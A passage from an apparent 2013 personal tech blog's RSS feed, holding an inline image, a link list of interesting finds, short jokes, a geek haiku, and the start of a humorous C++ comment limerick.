    &lt;img src=&#34;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAABkCAYAAABO6zhfAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAABQzSURBVHhe7ZwLdBRllsf/nXQ6T5IohISHEiCByCAGBqI8zaCMiIObRR3dEQVnwYXR9bHiquCgqIOOix4fiK6gKLPHg6JMUE8MjoeTCAQQnTSPAIGENAkJIc/udNKP9Gvv/boqdEISOp1OSOj6cT6q6vuqqjnc/3fvra9ut8pgMLhAuFwu0WRUKpVo3sDXmc1mnDlzptU9GL5HREQEhg8fjuDgYKnXd5xOJ4xGIyoqKtr9rJiYGMTHx/vlswKBFgF0FzaGw&amp;#43;HA2bNnYTKZpN4LsEGGDBmC6Ohoqcd3&amp;#43;LNsNhvKyspgtVql3gtoNBohuLCwMKlHoSNUeXl5fhGAQv9E1dzcrAgggAmStgoBiiKAAKfTEPBd0cXJXF/k9qQIaU&amp;#43;hq7R4gJ9//lnaU7jS8bS1EgICHEUAAc4VKwBzdRVq//Y&amp;#43;zjyxGNpVK/Htlp3Y8HGeaIaGRukshZYkkOPC5MmTRadMV5LAUGsjIiuKoDYbxbFh9ERYQ6PEfoilAedLTqPZZhfH7RGsDkZ84gg4I64Cr/B6uwzNtE0CTaUlcHzyPOx6M8JirkaQvQ6ukAEIX7wU6uENWLdOg6WPTkdERLh0RWDhaetuC0Btt2LsxucQfvYkQocMQIjaKfxKY5kJLrJ38aLnUB81EHPTp0hXtI&amp;#43;TLvtb5i7EXzMUqtgEuOD9uwhPAZjOn4P5zecQorFA1WjFgGXPkrpiYP1kJejmiHrkNkCvw7pNYwJWBJ627lYIYONPfHoeBg02IyZjEjTxUWKdPmhAJOLuT0Pcv45HyhdrkbBtAz7dvqulbfn7Lhw8dAwqRwNUdj1gq0OQoxoPZMzG&amp;#43;bIKOGsryPytX055S9PB/XCVlyEs&amp;#43;QaoIqNg3PgGVGoLMDwFjtJSwEKfBz1WLPwJX2zZC7OZxjph3rx5rdr27dulEd/gexQVFUlHlx&amp;#43;fBcDGTyXjh/02Far4q2HIOoKK2mgUh4&amp;#43;HzRaP&amp;#43;lc&amp;#43;h/mnYlx9TxrGWHT4fckuLFowW7SF/zIbx4orkZV71P0yx&amp;#43;UUxlbZKoUIzpWVw1FT7pMIivccJc/joklvRPTi6dRjhfGd1XCcKYATzTDodDBUUogiHfx&amp;#43;1kl8/vlh94Wd8M477yArKwsrV67Epk2bpN4rA58FMO71pdCkjaHYGgKnzQV1hArq2vMY98JahP35NUTtOgSHKxZNPxzGAPIOtm&amp;#43;/gK1aB5u5Bg7reWHoKr0F3&amp;#43;0thNlipjuysZ1wms9g8V1zUFJ02icR1Fx7A5pColGfdRROVTSi7psNZ7AazsHx0CQlIyYhUWqp0OrToYnuOC9py4wZM8S2L83g7uKTADjhUxtq4IqKQvOXuTDnFEAzKRmxGhNMTz0Al81GLkKN0LXrYTOq0ayrRuiEkbBl7yA7O4Sh7eYKIYJagxU784phMjUJTxAUpILDdBrL75&amp;#43;PgsNHuyyChoQk1C9/Bk0GJ6qe/xjV6zJhN5hRVqrGrsRF2KFNxZnKROSeSIR&amp;#43;qw6xsbHSlZeG3f&amp;#43;gQYOQlJQkjlkIcmh48MEHRR8jhwp5rD2vwed7hpM9e/a0ukdv4ZMAYorzoY6kWVVUhrqpc1FH/&amp;#43;m2HwsQPDEZLmsNzM8uJxE0U&amp;#43;xVQz3/HlgLyqFOiocjJ1sYX8x0pwNWY4mY7eXVRvxj3xlRVOIWAeBoLMRTS&amp;#43;/FwQMH4ajzXgTkVBB/8yycfPo9nEqkhG/mXDQvfAbX/nUDZs1MQ2pqInR6Mn6mHroTnA9cmscee0wYMi8vD1u2bJF6gZdeeqklPGRkZODVV1&amp;#43;VRiDO5X4eZ0O39Rp8Pp8js3v3btHX2/gcAlxOMojRBBtl6klvbETwhBth230UQaljKNGqgeW55eTqrVAlDIHTQE8EDrqIrnGyByDju0QHPa8bisRsP1Vahe8PlJEnMAuBqNgTNB7Hnx9bjD25e6FiYXjzUEAC0J4HTh1qwsg/P4KoJ56Hc8YcGNQh0Iv6kBjos3VITKWZz8eZOmQ9nIXPHqR2ZxafcBFsRG7Hjh2TetwztqampkUcPMtra2ulUWDZsmViy95i3LhxOHy4da6xYMECVFVVSUfA8ePHRV9v47sAyH4uhwuJ9Nhmt&amp;#43;oR&amp;#43;uRqEsFNsLMIJrIIatG86lFpxrNg6DmPr6NtS3OrAqa642K2Hy4sxc4DZ1FTb0aN3oraBjuqKo6I6/gm3oUBPbRbDyHjvhsQG0bG9iwY0hugfSvXbXwSSmp6KmIpH4hNjBVNq8uRTrwYNiQbyNOdczjgWS63devWSSPeMWvWLOEduPH&amp;#43;5cAnAVivSoDDYoN94CA07/yKeoKEoTWPrxKewL77CHmCZDqxDvaNbyMkdRQc9RTjyRu4cwB3HuAWATX601R7VMz2XwpKEBkRidDQMISoQ5F7uB7llTxTxMqA&amp;#43;PxOIcOmzyUXT7ta&amp;#43;ktLGT83HbWcF3OQmBIL/QnSAg26mw462ur260T46IwlS5a0uHNOCNkDeMZxT3Jy3GJiT8GeY8KECeLYk/T0dBEGuPH&amp;#43;5cAnARgTRkFdUwW7Jhx2cueGtc&amp;#43;gtroUtTVlMC5cBNuY6ykcHIFq0lgEjbxKPCZyImieMhUGYyMaGk0wNplhNFnRaLKhyeJAk9XVMtst9FRgNBpw4HgV7p03C6Vny0W/N7Dhc7K1yPwkFznUtFu57YA2M5emfCwyt&amp;#43;aQwbXQ04l6CwmAjK7Xs/F10tWdw16AYz8jPxbKyZ5nDlBdXS361q5dK4QjJ46eyH0DBw5sd7w38HklcNhbT2LwuROwjxyJ8JJiqJPHIei&amp;#43;RVCNJvdfVQn7pneB86cRPOU6&amp;#43;t&amp;#43;og&amp;#43;N0PYLf/oiu5FnPd6CQILl1u8MBJ4WTH/5ZiawffsRrT87Hxq17sPrpR2BptuOWe5fhhddeI7mGwNXO6mBX6gGaGprw5OQ1SE2kx8B2XP6HJz&amp;#43;U9nyHDc85gzdGXbFihUj&amp;#43;5EfM3sAvK4Gn7/x3RAwdAXVxCcwjk2CpLINt1eOwzUmDbfn9cJYXw3X9GDir9bDvPw6s/gsZ2UrNRq6fmzsMyLNdW1QtZrvZYsH2nfnC&amp;#43;M12EoY7dfAbkdGRePfwyy3GZ4N7tt6EwwMngr1p/Lb4LACoNYh88xNEDCcRUIzjhNCSch0st85G87Q0OGMGwHnwGOzaEljXrYeFYrrZbBLNRI97Jmlrd9hxqMSKW2ZMF7OdQj2mp01BcbEOFis9Ktr8rAAiNCyUREAe6jLCM5/Dw&amp;#43;rVq6Wey4PPIaC59BTmz/41jBTPwwsPoXjDm4g/paUbutPuuqTrUTl&amp;#43;Kionts5u2d0PjwvH4Gh&amp;#43;AeTCmRoXbp05jfqdsNmdWPTEixg5ZBAW3n07hg29BkFqNe544E9&amp;#43;CwEKfgoBckbOb&amp;#43;xs4yZh7Efb8NMr22DPOozQ3CJc&amp;#43;&amp;#43;k3SHt6Je68dUartuC2mzH&amp;#43;uglwhSTApIpDWvIE7H69CA7y9Ta7&amp;#43;zFv6f0Z&amp;#43;Gz7TkoSG&amp;#43;Gw2&amp;#43;j535sFAAVf8F0AYlVGBXVwkNg/VHAat0yfIL4GZjZbKdtvgr6hEfV6I&amp;#43;qo8VbeZ0YlXovkq4Zj56pCGEpN4C9yqYNVCNUEQaNRY/miBaisqhOrg2GhGnGNgv/xXQA0K/l7evyVrxNFZfjV2BGw2exkMAuCgoLErOV1/SAa14Soxfl8HKIORjBtG8qb8O1/HcGImfGwq510Hug84I7Z0xBOMZrbTaljYaWQMnxovPhMXi9Q8C&amp;#43;&amp;#43;C4BsYbPbcUpXjvFjE2nfQc/0FjIueQQytkpsgyUh0JaOWSyakGBYqm34&amp;#43;vEjGDo9jvqAuORIfPtUAbYv0iLkqwTse7YS&amp;#43;a/UYs8rZWj4GkgZfa37M8XfCv7EZwE025pRUKjDmJHDhfFNPPPJQjzjBSQQ8QKHd6k/mEJFKLl2c5UVW5f8hFG3DEPdSSvMBiAsOgLDpgxC0ryhGHX7YFwzZyDipkYjfLQajbU2JMRd7b6ngt/xWQBNTU2YMG60yN4tFiu5djXU1ITlGTK67LDZWwSRAJoqLfi/hXsx6a5kNBU3Q0PKaDxlQvXPTag&amp;#43;0ISqA404v5/aPndrbDCgocqEkBCKDQo9gs8CsNj4bZALdXU1MJua0GhsQAMZzNjg3jYYpEb7BoMe9TX12HRXNm5cOB4V/6iH9VwzmqtsnbaSA5Wwm&amp;#43;0YOHaS25O4P1rBj/i8DlCefwBFJSUoPXtOVPR2hp0e5dTqEPzb3N9g/yOnkXzDaMSEXiWNdkxNUBUimiMQsyaRpErehfIJSi6k0Qu0tw7AZeGm7K/Q&amp;#43;MsB1EcOxdmxN6PUPkCM3X/3BMREuyuWAxFPW/teFexyAk6HiPNdwUX5wt6MbIy9IRmxoYOoh&amp;#43;K8XY8mOyUD7eAyqXDNW&amp;#43;NJALwIxD3ir1YoZeFdwy8LQcIQ/OxGhulS04Ri5o7bcfJEMfTWGnGnI3sO4/TBUpTml&amp;#43;PskUqcO16FysJa1OsMMDd4iNALrYmy8PfWwEUhSk0hKvy&amp;#43;pQhdtJaUboRlxzZxzoolJ7Fx/V6Q&amp;#43;MVxIOO7ACR3zEuzXWl8jTMkFNM/vw1nzpaSCCrJEHbM3DkXU7Nuw03fzMGUv9&amp;#43;CyV&amp;#43;l4/rPZmDMx2lkd7rWS0/TlbLw9z/&amp;#43;UVQgdYb8qldufa0qmP9NbcvNukI3PEA3YDGQJ5j8YTqqnTXilTALQxVMcb49r8Gehj0OC&amp;#43;gSdFgWXnJIKgvXUtPDUKnD0rTvhSe4FHLdHzd&amp;#43;t38lcXkEwLAIwsNx3WopGRHJXfseRSR&amp;#43;vPWCDsvCE4ZBkxSHmNhYd0tIR45lMZID/EXS5RMAw0aNjMCcvLvoX0LG99LNd0ZHZeGFBU5stmbg7exU7NCmI1dHAtAlQh/mfVm4J&amp;#43;x2PUODZ2kYH3N1EG/5tW/bMa4DYHjL4wxv5Xt5VhZ53ovx/Fx/hKPLKwBG5BHk4oUH8G6Wd0brsvBZ7rLwe5/BkDc3Yf6S3yIjIx2pN6UiMXWEyAcy91&amp;#43;6DEyu/OUmG4/LwjgccFjgEMHG8IzFcXFxYmzatGkoLCwUfSwELiQ9ceKEOOYtjzNcUCqHGS4Rb&amp;#43;9ejOfn&amp;#43;oPLLwCGXb2XMf6SkAC4LPzgAS4LX&amp;#43;EuC//NHCAqBG9lgppetBc/OCTOTUxMRdqDWbBYO34i8MwBuHqHRcAFoXIZN5d&amp;#43;tS39los8uRiUS74ZFsLDDz/cSgBysSiLQxYZU1lZKbaMfC9ZfPLn&amp;#43;iMf6RsC8CvusvDFiy&amp;#43;UhYu8n4zNMz41ZQRSafYnptB4AnkBOicxJRWzlv7QqQh8hcUxePBgMaNZCHL5l2xMHucx9iCyyNhL9BZXngDI0KIsPIw8AXsDsr5WB1DiL8ZYCFwiruO&amp;#43;SgO1M6I/NiFWiMAbZCPKsZ0N2FHpN5OSkoIPPvigpfafjzMzM8WW4dnOHoSRvUt78OfymCwez9zCV644AbCdRVn4B7nIoab9JBe6zB3Q5&amp;#43;SS8WlUCMBA&amp;#43;9REbTiXhuugp8fCH97zvjZfjvvssjlH4BLxjqqA2YWzQGSDy8eya2fDcnEo34uF0ZkHYLfPtYR8rpxbdIdu/0BEX8DbmsCH1x5Dzn6uBnZ/LSyWngD4y6HC&amp;#43;B9lIHpAYDwS&amp;#43;mkpuP/x4cpxOPn1n6j9ASe/&amp;#43;IPwCIFm/Lb4LIB3H7u7Vcvf9Y004ht8j&amp;#43;qy09JRL0ECCGTjM93yAPc9/Tr&amp;#43;850vcfsfn8KezE&amp;#43;l3v4De4NANj7jlxCQlDpVbHt9Bit0G78IgN1/VOxAxF0zShyzEOTQsHn1f4g&amp;#43;Rg4V8lh7XoPP9wwnRdp9re6h4F&amp;#43;6JYCt//PfwpDFhw/goZf&amp;#43;V&amp;#43;oFvt3415bwkJr&amp;#43;O2RvflMagTiX&amp;#43;3mcDd3Wa/D5fI5MUf4&amp;#43;0afQM3Q7B&amp;#43;B27rR7aZPhGduor20RB8/yRkOdNArcfNcfxZa9xZBRKTh7qkAcy0ycPR/GumrpCDhXUij6FHqGbocANiQbyNOdczjgWS63u594RRrxjuRJ04R34Mb7Cj2HX3KAGRmLWtw5J4TsATzjuCeFv&amp;#43;wWW/YU7DmGJ/9KHHsy9tczRRjgxvsKPYdfBMCwF&amp;#43;DYz8iPhXKy55kDNNbXir7vPn5DCEdOHD2R&amp;#43;6Jirm53XMF/9OpSMBuecwZvjPrlW89T8ndHyyNmZyhfD&amp;#43;8afX4pmMMDJ4LeGF&amp;#43;he/Q5AfDM5/Dwu6XPSD0KPUlAvQ1UcBOwbwMVLkYRQICjCCDA6XEBcFLHrS38SCi/B/DcV&amp;#43;hdelQAbFR&amp;#43;nOOmGLhv0qMC4GVfXsvnJi8BK/QtelQAp/6ZJ9byExLHiH2FvkePCYBX8xhe9pVX9OQ&amp;#43;hb5Dzwkgf1&amp;#43;rV7m8z30KfYseE8Cp/DzxSpgzfG68z30KfYseEQAbm6t9PItCuHFfR3UCCpeHHhEAF3KMnnCjdHQB7vOs91O4/CgvgwIQ5WWQQguKAAKcTkOAwpWJEgIUWlAEEOAoAghwFAEEOIoAAhxFAAGOIoAAp98KYPz48a3aqlWrpBE33OcLfJ3nz7R60tlYf6VfewD&amp;#43;Tb2jR4&amp;#43;KdvDgQTz00EPSCESfwqW5YkLA999/L0Qgz1DP2bp&amp;#43;/Xpx7OkVWCxyX1vvkZ&amp;#43;f3zLGP9zcER1d35&amp;#43;4onKAoUOH4ty5c9LRBfhnWmVPIbN582ZxzF5kx44dUq8b/r1eHnvhhRfw8ssvS72tYQHxOJ9XUVHRb0NDQCSBU6ZMuWiWbtu2TczejIwMcexpQPnce&amp;#43;65p0PjsrdZs2aNuAfvtye8/sAVIwA2Ehtr5syLf1GEZ/uQIUOEsRh26xs3brzIK3QVzxykvc/tD1wxAuCZvGzZMunoYh599FHhCdj4/Ovcw4YNE/3sCdqSnZ0ttjzGYaW9H4Hme8nn9Wf6tQDY6HIi9v777wsjt4d8DsMzlV17eXm56NNqtaLfE3bnPMYufsOGDVJvazhMcG7hee/&amp;#43;SEs9gEJgEhBJoELHKAIIcBQBBDiqvLw8JQcIYFQGg0ERQACjhIAARxFAgKMIIKAB/h&amp;#43;DmbqWr050zQAAAABJRU5ErkJggg==&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;You can NoReplyAll add-in this &lt;a
	
		href = &#34;http://research.microsoft.com/en-us/downloads/60860f41-88ab-4bb4-8104-765feca9cfed/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		from here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Intreresting Find #23</title>
      <link>/post/2013/10/intreresting-find-23/</link>
      <pubDate>Mon, 14 Oct 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/10/intreresting-find-23/</guid>
      <description>&lt;p&gt;Been a while since I posted on this series. But starting it again. Here are the latest few interesting finds I have stumbled across. Of course these are in no particular order.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.utf8everywhere.org/#&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		UTF 8 Everywhere
	&lt;/span&gt;
&lt;/a&gt; - Argues the cause on why UTF-16 and Unicode is a default poor choice except for specialized libraries, which deal with text.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.technologyreview.com/news/520131/data-discrimination-means-the-poor-may-experience-a-different-internet/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Data discrimination for the poor
	&lt;/span&gt;
&lt;/a&gt; - Means that if you are poor (i.e. not rich), then the internet you see and know might be different from the others. Big Data discrimination.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://blogdramedy.wordpress.com/2013/10/02/its-enough-to-make-you-cancel-your-reservation/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Customer feedback to a Tour Operator
	&lt;/span&gt;
&lt;/a&gt; - It’s enough to make you cancel your reservation.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://gartnerevent.com/NA_SYM23_Factoids/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Gartner IT Symposium Factoids
	&lt;/span&gt;
&lt;/a&gt; - Very cool to see the data on mobility and where we seem to be heading.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.openremote.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		OpenRemote
	&lt;/span&gt;
&lt;/a&gt; - open source for IoT (Internet of Things) - think of it the glue stitching &lt;a
	
		href = &#34;http://www.technologyreview.com/news/519666/free-software-ties-the-internet-of-things-together/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		everything together
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.economist.com/news/business/21586831-businesses-are-worrying-about-how-manage-different-age-groups-widely-different&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Generation Game
	&lt;/span&gt;
&lt;/a&gt; - Businesses are worrying about how to manage different age groups with widely different expectations.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.economist.com/news/united-states/21587815-loopy-tax-rules-spur-expats-renounce-their-american-citizenship-overtaxed-and-over-there&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Overtaxed and over there
	&lt;/span&gt;
&lt;/a&gt; - Loopy tax rules spur expats to renounce their American citizenship.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://greenhouse.oblong.com/learning.html#&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Greenhouse (alpha)
	&lt;/span&gt;
&lt;/a&gt; - a creative coding toolkit for spatial interfaces.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://labs.leapmotion.com/post/57530238812/dipping-your-hands-into-the-data-pool&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Dipping your hands in a data pool
	&lt;/span&gt;
&lt;/a&gt; - with a LeapMotion&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://docs.timdorr.apiary.io/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Tesla Model S Rest API
	&lt;/span&gt;
&lt;/a&gt; - enough said. :)&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://www.cozycloud.cc/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Cozy Cloud
	&lt;/span&gt;
&lt;/a&gt; - private cloud for your apps, data, which you control and this is open source.&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Thought of the day - cats and meow&#39;ing!</title>
      <link>/post/2013/10/thought-of-the-day-cats-and-meowing/</link>
      <pubDate>Wed, 09 Oct 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/10/thought-of-the-day-cats-and-meowing/</guid>
      <description>&lt;p&gt;Why did the cat meow?&lt;/p&gt;
&lt;p&gt;Because it&amp;rsquo;s a cat. Cats meow.&lt;br&gt;
(PS - I am not a cat guy, more of a dog guy)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Geek Haiku #2</title>
      <link>/post/2013/10/geek-haiku-2/</link>
      <pubDate>Tue, 01 Oct 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/10/geek-haiku-2/</guid>
      <description>&lt;p&gt;(and also valid for the US Govt)&lt;/p&gt;
&lt;p&gt;*Ring* Hello, IT. *Sigh* Have you tried turning it Off and on again?&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Thought of the Day</title>
      <link>/post/2013/09/thought-of-the-day-6/</link>
      <pubDate>Fri, 27 Sep 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/09/thought-of-the-day-6/</guid>
      <description>&lt;p&gt;Don’t start an argument with a girl because they all have 4,30,50,194 GB memories and will bring up something you did at 14:27PM on 23/04/2008&lt;/p&gt;
&lt;p&gt;(via &lt;a
	
		href = &#34;https://twitter.com/ExtraGrumpyCat/status/381299288854507520&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		ExtraGrumpyCat
	&lt;/span&gt;
&lt;/a&gt;)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>C&#43;&#43; Comment</title>
      <link>/post/2013/09/c-comment/</link>
      <pubDate>Sun, 22 Sep 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/09/c-comment/</guid>
      <description>&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;MyFunction&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// There once was a man named Dave
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; Result &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Whose code just wouldn&amp;#39;t behave
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    MyObject &lt;span style=&#34;color:#ed8796&#34;&gt;\&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;Ptr &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; new &lt;span style=&#34;color:#8aadf4&#34;&gt;MyObject&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// He left to go to a meetin&amp;#39;
